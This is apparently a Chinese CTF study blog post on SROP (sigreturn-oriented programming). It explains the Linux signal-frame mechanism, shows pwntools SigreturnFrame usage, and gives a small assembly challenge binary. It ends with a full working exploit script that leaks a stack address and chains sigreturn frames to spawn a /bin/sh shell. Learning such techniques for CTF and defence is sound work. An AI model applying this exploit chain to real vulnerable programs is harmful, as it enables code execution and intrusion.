这学期真实忙成狗,再加上之前状态不好,这学期pwn方向的技术没有太大进展,更多的是在查缺补漏,稳固基础

SROP

漏洞原理

之前没去看过,现在抽时间来看一下,原理比想象中的更简单一些,比较容易理解。
ctfwiki上的: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop/#signal

这里直接使用wiki上的说法:

rt_signal

rt_signal

1
2
3
4
5
6
7
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。

1. 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。

2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

3. signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15。

简单来讲就是unix系统在传递signal信息时,会将进程信息以Signal Frame 的格式保存在用户态空间的栈中,而且在回调时并不会有任何检查,所以只要能够改变其结构中的关键数据,就可以使得在恢复进程执行时获得shell或者其他系统调用。

利用

  • 利用条件
  1. 足够的栈溢出以存放sigal frame结构体(ps: 不一定要放在栈中
  2. 需要知道:
    • “/bin/sh”
    • Signal Frame
    • syscall
    • sigreturn
  • 利用方式
    pwntools中实现了SROP的库,这样就免去了自己费劲构造结构体的过程

格式:(设置结构体中保存的需要修改的寄存器即可)

1
2
3
4
5
6
7
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

例题

题目

源代码:

1
2
3
4
5
6
7
8
9
10
11
section .text

global _start
_start:

xor rax, rax;
mov edx, 400h;
mov rsi, rsp;
mov rdi, rax;
syscall;
retn;

编译链接:

1
2
nasm srop.asm -f elf64
ld -m elf_x86_64 srop.o -o srop

分析

就是一个调用read系统调用的函数,在栈顶输入0x400个字节,这里我们使用srop来看

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *

small = ELF('./srop')
sh = process('./srop')

context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x000000000040008E
start_addr = 0x0000000000400080
## set start addr three times
payload = p64(start_addr) * 3
sh.send(payload)

## modify the return addr to start_addr+3
## so that skip the xor rax,rax; then the rax=1
## get stack addr
sh.send('\x83')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))
gdb.attach(sh)

## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)

## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)

## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()